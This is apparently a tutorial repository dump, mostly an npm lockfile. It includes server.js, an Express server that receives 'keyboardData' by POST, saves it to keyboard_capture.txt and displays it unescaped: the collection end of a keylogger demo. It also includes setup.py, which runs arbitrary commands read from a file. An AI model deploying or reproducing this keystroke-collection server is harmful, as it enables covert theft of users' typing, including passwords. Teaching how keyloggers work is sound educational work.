"sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" 607 | }, 608 | "body-parser": { 609 | "version": "1.20.0", 610 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", 611 | "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", 612 | "requires": { 613 | "bytes": "3.1.2", 614 | "content-type": "~1.0.4", 615 | "debug": "2.6.9", 616 | "depd": "2.0.0", 617 | "destroy": "1.2.0", 618 | "http-errors": "2.0.0", 619 | "iconv-lite": "0.4.24", 620 | "on-finished": "2.4.1", 621 | "qs": "6.10.3", 622 | "raw-body": "2.5.1", 623 | "type-is": "~1.6.18", 624 | "unpipe": "1.0.0" 625 | } 626 | }, 627 | "bytes": { 628 | "version": "3.1.2", 629 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", 630 | "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==" 631 | }, 632 | "call-bind": { 633 | "version": "1.0.2", 634 | "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", 635 | "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", 636 | "requires": { 637 | "function-bind": "^1.1.1", 638 | "get-intrinsic": "^1.0.2" 639 | } 640 | }, 641 | "content-disposition": { 642 | "version": "0.5.4", 643 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", 644 | "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", 645 | "requires": { 646 | "safe-buffer": "5.2.1" 647 | } 648 | }, 649 | "content-type": { 650 | "version": "1.0.4", 651 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", 652 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" 653 | }, 654 | "cookie": { 655 | "version": "0.5.0", 656 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", 657 | "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==" 658 | }, 659 | "cookie-signature": { 660 | "version": "1.0.6", 661 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", 662 | "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" 663 | }, 664 | "debug": { 665 | "version": "2.6.9", 666 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 667 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 668 | "requires": { 669 | "ms": "2.0.0" 670 | } 671 | }, 672 | "depd": { 673 | "version": "2.0.0", 674 | "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", 675 | "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" 676 | }, 677 | "destroy": { 678 | "version": "1.2.0", 679 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", 680 | "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==" 681 | }, 682 | "ee-first": { 683 | "version": "1.1.1", 684 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", 685 | "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==" 686 | }, 687 | "encodeurl": { 688 | "version": "1.0.2", 689 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 690 | "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==" 691 | }, 692 | "escape-html": { 693 | "version": "1.0.3", 694 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", 695 | "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" 696 | }, 697 | "etag": { 698 | "version": "1.8.1", 699 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", 700 | "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==" 701 | }, 702 | "express": { 703 | "version": "4.18.1", 704 | "resolved": "https://registry.npmjs.org/express/-/express-4.18.1.tgz", 705 | "integrity": "sha512-zZBcOX9TfehHQhtupq57OF8lFZ3UZi08Y97dwFCkD8p9d/d2Y3M+ykKcwaMDEL+4qyUolgBDX6AblpR3fL212Q==", 706 | "requires": { 707 | "accepts": "~1.3.8", 708 | "array-flatten": "1.1.1", 709 | "body-parser": "1.20.0", 710 | "content-disposition": "0.5.4", 711 | "content-type": "~1.0.4", 712 | "cookie": "0.5.0", 713 | "cookie-signature": "1.0.6", 714 | "debug": "2.6.9", 715 | "depd": "2.0.0", 716 | "encodeurl": "~1.0.2", 717 | "escape-html": "~1.0.3", 718 | "etag": "~1.8.1", 719 | "finalhandler": "1.2.0", 720 | "fresh": "0.5.2", 721 | "http-errors": "2.0.0", 722 | "merge-descriptors": "1.0.1", 723 | "methods": "~1.1.2", 724 | "on-finished": "2.4.1", 725 | "parseurl": "~1.3.3", 726 | "path-to-regexp": "0.1.7", 727 | "proxy-addr": "~2.0.7", 728 | "qs": "6.10.3", 729 | "range-parser": "~1.2.1", 730 | "safe-buffer": "5.2.1", 731 | "send": "0.18.0", 732 | "serve-static": "1.15.0", 733 | "setprototypeof": "1.2.0", 734 | "statuses": "2.0.1", 735 | "type-is": "~1.6.18", 736 | "utils-merge": "1.0.1", 737 | "vary": "~1.1.2" 738 | } 739 | }, 740 | "finalhandler": { 741 | "version": "1.2.0", 742 | "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", 743 | "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", 744 | "requires": { 745 | "debug": "2.6.9", 746 | "encodeurl": "~1.0.2", 747 | "escape-html": "~1.0.3", 748 | "on-finished": "2.4.1", 749 | "parseurl": "~1.3.3", 750 | "statuses": "2.0.1", 751 | "unpipe": "~1.0.0" 752 | } 753 | }, 754 | "forwarded": { 755 | "version": "0.2.0", 756 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", 757 | "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==" 758 | }, 759 | "fresh": { 760 | "version": "0.5.2", 761 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", 762 | "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==" 763 | }, 764 | "function-bind": { 765 | "version": "1.1.1", 766 | "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", 767 | "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" 768 | }, 769 | "get-intrinsic": { 770 | "version": "1.1.2", 771 | "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.2.tgz", 772 | "integrity": "sha512-Jfm3OyCxHh9DJyc28qGk+JmfkpO41A4XkneDSujN9MDXrm4oDKdHvndhZ2dN94+ERNfkYJWDclW6k2L/ZGHjXA==", 773 | "requires": { 774 | "function-bind": "^1.1.1", 775 | "has": "^1.0.3", 776 | "has-symbols": "^1.0.3" 777 | } 778 | }, 779 | "has": { 780 | "version": "1.0.3", 781 | "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", 782 | "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", 783 | "requires": { 784 | "function-bind": "^1.1.1" 785 | } 786 | }, 787 | "has-symbols": { 788 | "version": "1.0.3", 789 | "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", 790 | "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==" 791 | }, 792 | "http-errors": { 793 | "version": "2.0.0", 794 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", 795 | "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", 796 | "requires": { 797 | "depd": "2.0.0", 798 | "inherits": "2.0.4", 799 | "setprototypeof": "1.2.0", 800 | "statuses": "2.0.1", 801 | "toidentifier": "1.0.1" 802 | } 803 | }, 804 | "iconv-lite": { 805 | "version": "0.4.24", 806 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", 807 | "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", 808 | "requires": { 809 | "safer-buffer": ">= 2.1.2 < 3" 810 | } 811 | }, 812 | "inherits": { 813 | "version": "2.0.4", 814 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 815 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" 816 | }, 817 | "ipaddr.js": { 818 | "version": "1.9.1", 819 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", 820 | "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" 821 | }, 822 | "media-typer": { 823 | "version": "0.3.0", 824 | "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", 825 | "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==" 826 | }, 827 | "merge-descriptors": { 828 | "version": "1.0.1", 829 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", 830 | "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" 831 | }, 832 | "methods": { 833 | "version": "1.1.2", 834 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", 835 | "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==" 836 | }, 837 | "mime": { 838 | "version": "1.6.0", 839 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", 840 | "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" 841 | }, 842 | "mime-db": { 843 | "version": "1.52.0", 844 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", 845 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==" 846 | }, 847 | "mime-types": { 848 | "version": "2.1.35", 849 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", 850 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", 851 | "requires": { 852 | "mime-db": "1.52.0" 853 | } 854 | }, 855 | "ms": { 856 | "version": "2.0.0", 857 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 858 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" 859 | }, 860 | "negotiator": { 861 | "version": "0.6.3", 862 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", 863 | "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" 864 | }, 865 | "object-inspect": { 866 | "version": "1.12.2", 867 | "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz", 868 | "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==" 869 | }, 870 | "on-finished": { 871 | "version": "2.4.1", 872 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", 873 | "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", 874 | "requires": { 875 | "ee-first": "1.1.1" 876 | } 877 | }, 878 | "parseurl": { 879 | "version": "1.3.3", 880 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", 881 | "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" 882 | }, 883 | "path-to-regexp": { 884 | "version": "0.1.7", 885 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", 886 | "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" 887 | }, 888 | "proxy-addr": { 889 | "version": "2.0.7", 890 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", 891 | "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", 892 | "requires": { 893 | "forwarded": "0.2.0", 894 | "ipaddr.js": "1.9.1" 895 | } 896 | }, 897 | "qs": { 898 | "version": "6.10.3", 899 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", 900 | "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", 901 | "requires": { 902 | "side-channel": "^1.0.4" 903 | } 904 | }, 905 | "range-parser": { 906 | "version": "1.2.1", 907 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", 908 | "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" 909 | }, 910 | "raw-body": { 911 | "version": "2.5.1", 912 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", 913 | "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", 914 | "requires": { 915 | "bytes": "3.1.2", 916 | "http-errors": "2.0.0", 917 | "iconv-lite": "0.4.24", 918 | "unpipe": "1.0.0" 919 | } 920 | }, 921 | "safe-buffer": { 922 | "version": "5.2.1", 923 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 924 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" 925 | }, 926 | "safer-buffer": { 927 | "version": "2.1.2", 928 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 929 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" 930 | }, 931 | "send": { 932 | "version": "0.18.0", 933 | "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", 934 | "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", 935 | "requires": { 936 | "debug": "2.6.9", 937 | "depd": "2.0.0", 938 | "destroy": "1.2.0", 939 | "encodeurl": "~1.0.2", 940 | "escape-html": "~1.0.3", 941 | "etag": "~1.8.1", 942 | "fresh": "0.5.2", 943 | "http-errors": "2.0.0", 944 | "mime": "1.6.0", 945 | "ms": "2.1.3", 946 | "on-finished": "2.4.1", 947 | "range-parser": "~1.2.1", 948 | "statuses": "2.0.1" 949 | }, 950 | "dependencies": { 951 | "ms": { 952 | "version": "2.1.3", 953 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", 954 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" 955 | } 956 | } 957 | }, 958 | "serve-static": { 959 | "version": "1.15.0", 960 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", 961 | "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", 962 | "requires": { 963 | "encodeurl": "~1.0.2", 964 | "escape-html": "~1.0.3", 965 | "parseurl": "~1.3.3", 966 | "send": "0.18.0" 967 | } 968 | }, 969 | "setprototypeof": { 970 | "version": "1.2.0", 971 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", 972 | "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" 973 | }, 974 | "side-channel": { 975 | "version": "1.0.4", 976 | "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", 977 | "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", 978 | "requires": { 979 | "call-bind": "^1.0.0", 980 | "get-intrinsic": "^1.0.2", 981 | "object-inspect": "^1.9.0" 982 | } 983 | }, 984 | "statuses": { 985 | "version": "2.0.1", 986 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", 987 | "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==" 988 | }, 989 | "toidentifier": { 990 | "version": "1.0.1", 991 | "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", 992 | "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==" 993 | }, 994 | "type-is": { 995 | "version": "1.6.18", 996 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", 997 | "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", 998 | "requires": { 999 | "media-typer": "0.3.0", 1000 | "mime-types": "~2.1.24" 1001 | } 1002 | }, 1003 | "unpipe": { 1004 | "version": "1.0.0", 1005 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 1006 | "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==" 1007 | }, 1008 | "utils-merge": { 1009 | "version": "1.0.1", 1010 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", 1011 | "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==" 1012 | }, 1013 | "vary": { 1014 | "version": "1.1.2", 1015 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", 1016 | "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==" 1017 | } 1018 | } 1019 | } 1020 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "my-express-server", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "server.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "David Bombal", 10 | "license": "ISC", 11 | "dependencies": { 12 | "body-parser": "^1.20.0", 13 | "express": "^4.18.1" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /server.js: -------------------------------------------------------------------------------- 1 | // We import the fs module so that we can have access to the file system. 2 | const fs = require("fs"); 3 | const express = require("express"); 4 | const bodyParser = require("body-parser"); 5 | 6 | // Create the express app. 7 | const app = express(); 8 | 9 | /* app should use bodyParser. For this example we'll use json. bodyParser allows you to 10 | access the body of your request. 11 | */ 12 | app.use(bodyParser.json({extended: true})); 13 | 14 | // We assign the port number 8080. 15 | const port = 8080; 16 | 17 | // When a GET request is made to the "/" resource we return basic HTML. 18 | app.get("/", (req, res) => { 19 | /* The GET request shows the data that's logged in the keyboard_capture.txt file. 20 | If the file keyboard_capture.txt has not yet been created, the try catch statement will 21 | throw an exception and log to the homepage that nothing's been logged yet. 22 | */ 23 | try { 24 | const kl_file = fs.readFileSync("./keyboard_capture.txt", {encoding:'utf8', flag:'r'}); 25 | // We send the txt file data to the server. We replace the "\n" with
26 | res.send(`

Logged data

${kl_file.replace("\n", "
")}

`); 27 | } catch { 28 | res.send("

Nothing logged yet.

"); 29 | } 30 | }); 31 | 32 | 33 | app.post("/", (req, res) => { 34 | // For demo purposes we log the keyboardData sent as part of the body of the POST request to the server. 35 | console.log(req.body.keyboardData); 36 | // Will now write the keyboard capture to a text file. 37 | fs.writeFileSync("keyboard_capture.txt", req.body.keyboardData); 38 | res.send("Successfully set the data"); 39 | }); 40 | // We can see that the app is listening on which port. 41 | app.listen(port, () => { 42 | console.log(`App is listening on port ${port}`); 43 | }); 44 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | # We load the newline seperated commands from the commands file. 4 | with open("commands.txt", "r") as fh: 5 | # We use the readlines() method to get a list of all the lines in the file. 6 | cmds = fh.readlines() 7 | for item in cmds: 8 | # We run each command using the subprocess.run() function in Python. 9 | subprocess.run(item.split(" ")) 10 | --------------------------------------------------------------------------------